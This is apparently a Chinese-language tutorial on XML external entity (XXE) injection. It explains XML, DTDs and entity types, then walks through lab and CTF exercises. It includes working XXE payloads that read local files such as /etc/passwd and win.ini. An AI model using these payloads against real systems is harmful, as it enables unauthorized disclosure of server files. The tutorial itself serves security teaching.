什么是XXE?
XML External Entity Injection即xml外部实体注入漏洞,简称XXE漏洞。XXE是针对解析XML输入的应用程序的一种攻击。 当弱配置的XML解析器处理包含对外部实体的引用的XML输入时,就会发生此攻击。 这种攻击可能导致信息泄露,命令执行,拒绝服务,SSRF,内网端口扫描以及其他系统影响。
什么是XML:
XML(eXtensible Markup Language) 一种用于表示和传输的语言。XML是一种标记语言,类似于HTML,但与HTML不同,HTML语言主要用于呈现,而XML用于传输。而且XML语言没有预设的标签,需要自己手动设置标签。也就是说,XML不会做任何事情,它无法进行逻辑处理,也无法进行显示,它只做一件事,就是传输。
<data><to>www.baidu.com</to><from>Desktop</from><heading>GET baidu HTTP/1.1</heading><user>admin</user><password>123456</password></data>
上述代码就是XML的常见形式,看上去很杂乱,其实结构很好看,只需要多打几个回车:
<data> <to>www.baidu.com</to> <from>Desktop</from> <heading>GET baidu HTTP/1.1</heading> <user>admin</user> <password>123456</password> </data>
这样一来,技能很明显看出XML的结果层次,其实就是元素的嵌套。数据以这样的形式传递。
DTD:
DTD(Document Type Definition)是一种用于定义和验证 XML 文档结构的规范。
写一个XML描述一本书:
<book> <title>XML for Beginners</title> <author>John Doe</author> <year>2023</year> </book>
DTD定义:
<!ELEMENT book (title, author, year)> <!ELEMENT title (#PCDATA)> <!ELEMENT author (#PCDATA)> <!ELEMENT year (#PCDATA)>
在上面的 DTD 定义中,我们定义了三个元素:book、title、author 和 year。book 元素拥有三个子元素 title、author 和 year,并且它们的顺序要与 DTD 中的定义一致。title、author 和 year 元素的内容类型被定义为 (#PCDATA),表示它们包含字符数据。
DTD的声明:
内部:
<!DOCTYPE 根元素 [元素声明]> <!-- *************示例************* --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE rootElement [ <!-- 内部声明的DTD规则 --> <!ELEMENT rootElement (childElement1, childElement2)> <!ELEMENT childElement1 (#PCDATA)> <!ELEMENT childElement2 (#PCDATA)> ]> <rootElement> <childElement1>数据1</childElement1> <childElement2>数据2</childElement2> </rootElement>
外部:
<!DOCTYPE 根元素 SYSTEM "文件名"> <!-- *************示例************* --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE rootElement SYSTEM "example.dtd"> <rootElement> <childElement1>数据1</childElement1> <childElement2>数据2</childElement2> </rootElement>
实体:
在DTD中声明,可在文件中使用的变量。
类型:
字符实体 :用于表示ASCII字符和Unicode字符,通常通过实体引用来表示。字符实体不是预定义的,而是由XML文档中的开发者所定义,如$#38表示 &
,$#60表示 <
,如下代码举例字符实体1/2的引用。
<!DOCTYPE example [ <!ENTITY half "½"> ]> <example> <number>1½</number> </example>
内置实体:在XML规范中预定义的实体,不需要在DTD或XML文档中进行显式的声明或定义。这些内置实体只是一个字符串替换,编译器会把它们在解析XML文档时转换成对应的特殊字符。如<(小于号)>(大于号)
<message> <text>请注意,此文档的内容<strong>保密</strong>。</text> </message>
通用实体:也叫命名的实体,用于在XML文档中多次引用相同的字符或文本。通用实体定义在DTD文件中,由实体声明和实体引用组成。
<!ENTITY author "John Smith"> <book> <title>The works of &author;</title> <chapter>Welcome to the world of &author;.</chapter> </book>
参数实体:在DTD中定义的实体,用于在DTD中引用,以简化其中的重复代码。参数实体以%
开头,对应于DTD的参数实体部分。
<!ENTITY % author "John Smith"> <!ATTLIST book author CDATA "%author;">
从引用方式可以分为内部和外部
内部实体:以通用实体为例
<!ENTITY 实体名称 "实体的值"> <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [<!ENTITY name "nMask">]> <foo> <value>&name;</value> </foo>
外部实体:以参数实体为例
<!ENTITY 实体名称 SYSTEM "URI"> <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [<!ENTITY % name SYSTEM "file:///flag">%name;]>
注意:
%name(参数实体)是在DTD中被引用的;而&name(其余实体)是在xml文档中被引用的。
参数实体用%实体名称申明,引用时也用%实体名称;其余实体直接用实体名称申明,引用时用&实体名称。
参数实体只能在DTD中申明,DTD中引用;其余实体只能在DTD中申明,可在xml文档中引用。
XXE漏洞成因:
由于XML可以引用外部实体,因此可以在数据包中插入带有恶意语句的外部实体,造成后端对语句的命令执行。一下是不同的后端语句可以引用的不同实体。后端语言在加入一些拓展后可以支持更多外部实体.
payload的格式一般也很统一,基本上都是类似于这样:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <root> <name>&xxe;</name> </root>
以BUUCTF的BUU XXE COURSE 1为例
输入后直接抓包:
构造payload:
拿到flag:
皮卡丘靶场的XXE:
构造payload,该靶场XML要进行URL编码,不然无法识别.
测试输入:
替换输入数据:
可以回显:
改一改上面的测试用例,构造payload:
读一下system.ini,或者win.ini等一些Windows系统文件都可以直接访问(因为这个靶场的服务器是windows系统而不是linux所以不能用file:///etc/passwd)
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY words SYSTEM "file:///c:/windows/win.ini">]><root>&words;</root>
拿到windows.ini的信息.